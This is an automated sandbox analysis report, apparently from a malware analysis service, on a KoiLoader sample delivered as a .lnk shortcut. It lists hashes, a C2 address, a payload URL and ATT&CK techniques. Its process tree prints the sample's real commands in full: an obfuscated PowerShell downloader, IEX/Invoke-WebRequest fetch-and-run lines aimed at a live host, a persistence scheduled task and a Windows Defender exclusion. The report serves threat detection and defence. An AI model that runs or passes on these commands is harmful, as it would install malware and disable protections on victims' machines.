koiloader | 311d17e119c43e123a8dc7178ec01366835e6b59300ac1c72b7dd2b5e7aaa9c0

General

Target

chase_march_2025.lnk
Size

1KB
MD5

7d09c2f9087b81928f92fc87b635c008
SHA1

a1db6b387af8021ad097f41586fb86680420e22e
SHA256

311d17e119c43e123a8dc7178ec01366835e6b59300ac1c72b7dd2b5e7aaa9c0
SHA512

5c214d877970eb70bb467fa95778ff35df4ade687bf0d3b54798441861b014fc3a4a65b07ed7474a7127591f214ca2437e91423fc8feb2929019b615cd3334ef

Score

10^/10

koiloader defense_evasion discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://studiolegaledesanctis.eu/wp-content/uploads/2024/07

Extracted

Family

koiloader

C2

http://217.156.66.15/gnathopoda.php

Attributes

payload_url
https://studiolegaledesanctis.eu/wp-content/uploads/2024/07

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral1/memory/5616-56-0x00000000073A0000-0x00000000073AD000-memory.dmp	family_koi_loader

Blocklisted process makes network request 7 IoCs

flow	pid	Process
8	116	powershell.exe
38	5616	powershell.exe
39	5616	powershell.exe
41	1752	powershell.exe
42	1752	powershell.exe
76	5616	powershell.exe
80	5616	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3692	powershell.exe
1752	powershell.exe
116	powershell.exe
5616	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	wscript.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	wscript.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3744	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4724	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
116	powershell.exe
116	powershell.exe
3744	powershell.exe
3744	powershell.exe
5616	powershell.exe
5616	powershell.exe
3692	powershell.exe
3692	powershell.exe
3692	powershell.exe
1752	powershell.exe
1752	powershell.exe
1752	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	116	powershell.exe
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeDebugPrivilege	5616	powershell.exe
Token: SeDebugPrivilege	3692	powershell.exe
Token: SeDebugPrivilege	1752	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 3408 wrote to memory of 116	3408	cmd.exe	87
PID 3408 wrote to memory of 116	3408	cmd.exe	87
PID 116 wrote to memory of 4656	116	powershell.exe	91
PID 116 wrote to memory of 4656	116	powershell.exe	91
PID 116 wrote to memory of 4724	116	powershell.exe	92
PID 116 wrote to memory of 4724	116	powershell.exe	92
PID 2184 wrote to memory of 3744	2184	wscript.EXE	99
PID 2184 wrote to memory of 3744	2184	wscript.EXE	99
PID 3744 wrote to memory of 4968	3744	powershell.exe	101
PID 3744 wrote to memory of 4968	3744	powershell.exe	101
PID 3744 wrote to memory of 2564	3744	powershell.exe	102
PID 3744 wrote to memory of 2564	3744	powershell.exe	102
PID 2564 wrote to memory of 5616	2564	wscript.exe	103
PID 2564 wrote to memory of 5616	2564	wscript.exe	103
PID 2564 wrote to memory of 5616	2564	wscript.exe	103
PID 4524 wrote to memory of 712	4524	DllHost.exe	108
PID 4524 wrote to memory of 712	4524	DllHost.exe	108
PID 4524 wrote to memory of 712	4524	DllHost.exe	108
PID 712 wrote to memory of 3692	712	cmd.exe	110
PID 712 wrote to memory of 3692	712	cmd.exe	110
PID 712 wrote to memory of 3692	712	cmd.exe	110
PID 5616 wrote to memory of 912	5616	powershell.exe	111
PID 5616 wrote to memory of 912	5616	powershell.exe	111
PID 5616 wrote to memory of 912	5616	powershell.exe	111
PID 912 wrote to memory of 1752	912	cmd.exe	113
PID 912 wrote to memory of 1752	912	cmd.exe	113
PID 912 wrote to memory of 1752	912	cmd.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\chase_march_2025.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pdw = $env:programdata + '\' + ('9rqn56sj2m9os1.js q2o55or38'); $getf='Dow'+'nl'+'oadF'+'ile'; $xks3k1b8nm0p03af1zq = New-Object Net.WebClient; $wscs = 'wscript '; $xks3k1b8nm0p03af1zq.$getf('https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/ventage3a.php', '9rqn56sj2m9os1.js'); . ('curl.e'+'xe') -s -o 5zf330te4nxl 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/caginessEBuk.php'; mv 5zf330te4nxl 'q2o55or38.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn q2o55or38;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:116
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s -o 5zf330te4nxl https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/caginessEBuk.php
    3⤵
    PID:4656
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\ProgramData\9rqn56sj2m9os1.js q2o55or38" /tn q2o55or38
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4724

C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE C:\ProgramData\9rqn56sj2m9os1.js q2o55or38
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "schtasks /delete /tn q2o55or38 /f; wscript $env:programdata\q2o55or38.js "
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /tn q2o55or38 /f
    3⤵
    PID:4968
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\ProgramData\q2o55or38.js
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2564
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7zKJMC0LRI9E'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/uratic58o.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/shepherdess1Hwn.ps1'))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5616
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/sd2.ps1')"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:912
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command IEX(IWR -UseBasicParsing 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/sd2.ps1')
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1752

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4524
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:712
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3692

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r63e48d52-8c45-4cbc-90d9-6336485f78d0r.js"
1⤵
PID:4864

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r63e48d52-8c45-4cbc-90d9-6336485f78d0r.js"
1⤵
PID:3528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Indicator Removal

1

T1070

Clear Persistence

1

T1070.009

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\5zf330te4nxl

Filesize
1KB

MD5
3110c35f3b5ac8184bf8210fda02d1f7

SHA1
8f8d3b06cb123a56d0a2f89fbdd133a120a08f86

SHA256
22cbe49b245338b483742c1340922c357d0734fc6ab74192a89c374b5a748301

SHA512
ba347be6413ef91993e8b1dcd714dab5c806ce0c3fac7232ee8811568c7a6cdee50d079d7b3959bec3a56bf7c8c5f007de56d8ddaa6a9b048a1a45a97d73efa2

Download Submit
C:\ProgramData\9rqn56sj2m9os1.js

Filesize
198B

MD5
af9f1f2076317c03e21d56367e638af4

SHA1
61c4f850591f851acd3108104ef14f0fe32f95a6

SHA256
70835a8f7ea6c93942935a6f9fef1ae4591c22e873e3b06000ef01437f2090c1

SHA512
c280492024a902e3988c88dca7e21fc622df1bdf66796d9baf06a3b393550ac3d771589b0c51e7c246991d314c0729e7631cd1c08ba575683d9abdef7295b29c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
56b2fd20055baeb51094361d795ee102

SHA1
4d67197e04cbbd0a95b538b25091ecf16f4891ac

SHA256
45a644c711f6523da9be232807d767ead11f6894162b019099771d69d388dbc4

SHA512
76962c8259b10abdab7e75c200250cd284fd4d900d42f4c6c48f99d25edc9ddf481a65e9e76ed83564372b945e3692c644906ed107d69fce46ef525d7b95d908

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
109d0e90b3fd8210ce79e2aebefe7e30

SHA1
1b7332c23f9d90568385af812c0714f80a50d2a1

SHA256
e3139fae7ed4fda0cdcccd0c19000bfabf2f0414837aa057b337a92f5bcbe722

SHA512
acb34829825ae8034df7e8221170e088106ef420b8fa94319689e8f0fc0ca31aaf99dd03d353cf2d4a60aca7ef31fd636cecf105a05e8848940fef8c9d1a3c83

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mmlfoiy3.byt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/116-13-0x00007FFFF5C70000-0x00007FFFF6731000-memory.dmp

Filesize
10.8MB

Download
memory/116-20-0x00007FFFF5C70000-0x00007FFFF6731000-memory.dmp

Filesize
10.8MB

Download
memory/116-2-0x00007FFFF5C73000-0x00007FFFF5C75000-memory.dmp

Filesize
8KB

Download
memory/116-14-0x00007FFFF5C70000-0x00007FFFF6731000-memory.dmp

Filesize
10.8MB

Download
memory/116-3-0x00000261A4FB0000-0x00000261A4FD2000-memory.dmp

Filesize
136KB

Download
memory/1752-103-0x0000000007A50000-0x0000000007AA0000-memory.dmp

Filesize
320KB

Download
memory/1752-100-0x0000000007200000-0x0000000007222000-memory.dmp

Filesize
136KB

Download
memory/1752-102-0x0000000007340000-0x000000000735A000-memory.dmp

Filesize
104KB

Download
memory/1752-104-0x0000000007B40000-0x0000000007BD2000-memory.dmp

Filesize
584KB

Download
memory/1752-101-0x0000000007FA0000-0x0000000008544000-memory.dmp

Filesize
5.6MB

Download
memory/3692-87-0x0000000007150000-0x000000000716A000-memory.dmp

Filesize
104KB

Download
memory/3692-91-0x0000000007130000-0x0000000007138000-memory.dmp

Filesize
32KB

Download
memory/3692-84-0x0000000007010000-0x0000000007021000-memory.dmp

Filesize
68KB

Download
memory/3692-86-0x0000000007050000-0x0000000007064000-memory.dmp

Filesize
80KB

Download
memory/3692-85-0x0000000007040000-0x000000000704E000-memory.dmp

Filesize
56KB

Download
memory/3692-69-0x0000000006C90000-0x0000000006CC2000-memory.dmp

Filesize
200KB

Download
memory/3692-70-0x0000000070D60000-0x0000000070DAC000-memory.dmp

Filesize
304KB

Download
memory/3692-80-0x0000000006C70000-0x0000000006C8E000-memory.dmp

Filesize
120KB

Download
memory/3692-81-0x0000000006CE0000-0x0000000006D83000-memory.dmp

Filesize
652KB

Download
memory/3692-82-0x0000000006E80000-0x0000000006E8A000-memory.dmp

Filesize
40KB

Download
memory/3692-83-0x0000000007090000-0x0000000007126000-memory.dmp

Filesize
600KB

Download
memory/5616-35-0x0000000002630000-0x0000000002666000-memory.dmp

Filesize
216KB

Download
memory/5616-56-0x00000000073A0000-0x00000000073AD000-memory.dmp

Filesize
52KB

Download
memory/5616-55-0x0000000007310000-0x0000000007311000-memory.dmp

Filesize
4KB

Download
memory/5616-54-0x00000000074A0000-0x0000000007B1A000-memory.dmp

Filesize
6.5MB

Download
memory/5616-53-0x0000000006000000-0x000000000601A000-memory.dmp

Filesize
104KB

Download
memory/5616-52-0x0000000005C60000-0x0000000005CAC000-memory.dmp

Filesize
304KB

Download
memory/5616-51-0x0000000005C10000-0x0000000005C2E000-memory.dmp

Filesize
120KB

Download
memory/5616-49-0x00000000055D0000-0x0000000005924000-memory.dmp

Filesize
3.3MB

Download
memory/5616-39-0x0000000004D60000-0x0000000004DC6000-memory.dmp

Filesize
408KB

Download
memory/5616-38-0x0000000004CF0000-0x0000000004D56000-memory.dmp

Filesize
408KB

Download
memory/5616-37-0x0000000004C50000-0x0000000004C72000-memory.dmp

Filesize
136KB

Download
memory/5616-36-0x0000000004EE0000-0x0000000005508000-memory.dmp

Filesize
6.2MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads